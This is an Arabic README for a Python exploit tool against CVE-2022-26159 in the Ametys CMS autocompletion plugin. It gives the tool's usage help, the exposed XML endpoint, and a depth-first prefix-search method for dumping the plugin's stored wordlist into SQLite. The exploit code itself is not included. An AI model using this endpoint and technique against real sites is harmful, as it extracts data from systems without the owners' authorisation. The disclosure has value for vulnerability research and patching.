
أداة استغلال بلغة بايثون لتفريغ جميع البيانات المخزنة بواسطة إضافة الإكمال التلقائي لنظام إدارة المحتوى Ametys إلى ملف قاعدة بيانات sqlite محلي.
أداة استغلال بلغة بايثون لتفريغ جميع البيانات المخزنة بواسطة إضافة الإكمال التلقائي لنظام إدارة المحتوى أميتيس (Ametys CMS) تلقائياً إلى ملف قاعدة بيانات SQLite محلي.

$ ./CVE-2022-26159-Ametys-Autocompletion-XML.py -h
CVE-2022-26159-Ametys-Autocompletion-XML v1.1 - by @podalirius
usage: CVE-2022-26159-Ametys-Autocompletion-XML.py [-h] -t TARGET [-H HEADERS] [-k] [-v | -q] [--no-colors]
Description message
optional arguments:
-h, --help show this help message and exit
-t TARGET, --target TARGET
arg1 help message
-H HEADERS, --header HEADERS
Specify HTTP headers to use in requests. (e.g., --header "Header1: Value1" --header "Header2: Value2")
-k, --insecure Disable SSL/TLS warnings and certificate verification.
-v, --verbose Verbose mode. (default: False)
-q, --quiet Quiet mode. (default: False)
--no-colors Disables colored output. (default: False)
إضافة الإكمال التلقائي في أميتيس CMS <= 4.4.9 تعرض علناً ملف XML يحتوي على قائمة كلمات (wordlist) في العنوان التالي:
https://domain.tld/plugins/web/service/search/auto-completion/domain/en.xml
لإجراء طلب على قاعدة البيانات هذه، يحتاج المهاجم فقط إلى كتابة بداية الكلمة في معامل q (الاستعلام):
https://domain.tld/plugins/web/service/search/auto-completion/domain/en.xml?q=adm
وتعيد إضافة الإكمال التلقائي أول 10 كلمات متطابقة تبدأ بـ adm (من الاستعلام) في ملف XML:
<?xml version="1.0" encoding="UTF-8"?>
<auto-completion>
<item>administrateur</item>
<item>administrateurs</item>
<item>administratif</item>
<item>administratifs</item>
<item>administration</item>
<item>administrations</item>
<item>administrative</item>
<item>administratives</item>
<item>administres</item>
<item>admission</item>
</auto-completion>
مع أخذ ذلك في الاعتبار، يحتاج المهاجم فقط إلى إجراء بحث بالعمق أولاً على واجهة برمجة التطبيقات (API) لاستخراج جميع محتوياتها.
طلبات السحب (Pull requests) مرحب بها. لا تتردد في فتح مشكلة (issue) إذا كنت ترغب في إضافة مميزات أخرى.